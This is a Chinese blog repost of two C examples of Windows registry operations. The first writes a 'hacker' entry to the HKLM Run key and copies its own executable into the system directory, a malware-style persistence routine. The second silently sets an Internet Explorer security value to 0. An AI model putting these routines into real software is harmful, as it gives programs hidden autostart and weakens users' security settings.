C语言注册表操作实例

转自:https://wk0715.blog.csdn.net/article/details/72820106

原文的排版太乱了,整理了一下缩进,以及修正部分错误:

例子1:

#include <stdio.h>
#include <windows.h>

int main(void)
{
	char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	HKEY hkResult;
	int ret = RegOpenKey(HKEY_LOCAL_MACHINE, regname, &hkResult);

	ret = RegSetValueEx(hkResult, "hacker", 0, REG_EXPAND_SZ, (unsigned char*)"%systemroot%\\hacker.exe", 256);
	if(ret == 0){
		printf("success to write run key\n");
		RegCloseKey(hkResult);
	} else {
		printf("failed to open regedit.%d\n", ret);
		return 0;
	}

	char modlepath[256];
	char syspath[256];

	GetModuleFileName(0, modlepath, 256); // 取得程序名字
	GetSystemDirectory(syspath, 256);
	ret = CopyFile(modlepath, strcat(syspath, "\\hacker.exe"), 1);
	if(ret)
		printf("%s has been copyed to sys dir%s\n", modlepath, syspath);
	else 
		printf("%s is exisis", modlepath);
	return 0;
}

例子2:

#include <windows.h>
#include <stdio.h>

void main()
{
	HKEY hKey;
	char SubKeyName[] = "SOFTWARE\\Microsoft\\Internet Explorer\\Security";
	char ValueName[] = "BlockXBM";

	BYTE ValueData[64];
	DWORD Buffer;

	//打开
	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, SubKeyName, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
	{
		printf("Error: Regedit cannot be opened!");
	}
	else
	{
		//读原来的键值
		Buffer = sizeof (ValueData);
		if (RegQueryValueEx(hKey, ValueName, 0, NULL, ValueData, &Buffer) != ERROR_SUCCESS)
		{
			// 不存在
			// 新建一个值为0的DWORD
			DWORD temp = 0;
			if (RegSetValueEx(hKey, ValueName, 0, REG_DWORD, (LPBYTE)&temp, sizeof(DWORD)) != ERROR_SUCCESS)
			{
				printf("Error: Create Value failed");
			}
			RegCloseKey(hKey);
		}
		else
		{
			// 存在
			// 改变值
			DWORD temp = 0;
			if (RegSetValueEx(hKey, ValueName, 0, REG_DWORD, (LPBYTE)&temp, sizeof(DWORD)) != ERROR_SUCCESS)
			{
				printf("Error: Change Value failed");
				RegCloseKey(hKey);
			}
		}
	}
}
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值